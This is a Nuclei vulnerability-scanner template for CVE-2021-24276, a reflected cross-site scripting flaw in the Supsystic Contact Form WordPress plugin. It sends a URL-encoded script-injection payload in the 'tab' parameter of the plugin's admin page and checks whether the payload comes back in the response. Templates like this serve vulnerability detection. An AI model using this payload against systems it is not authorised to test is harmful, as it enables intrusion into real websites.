nuclei-templates/cves/2021/CVE-2021-24276.yaml

id: CVE-2021-24276

info:
  name: Contact Form by Supsystic < 1.7.15 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue
  reference:
    - https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24276
    - http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24276
    cwe-id: CWE-79
  tags: wordpress,cve,cve2021,wp-plugin,wpscan,packetstorm

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

      - type: status
        status:
          - 200

      - type: word
        words:
          - "text/html"
        part: header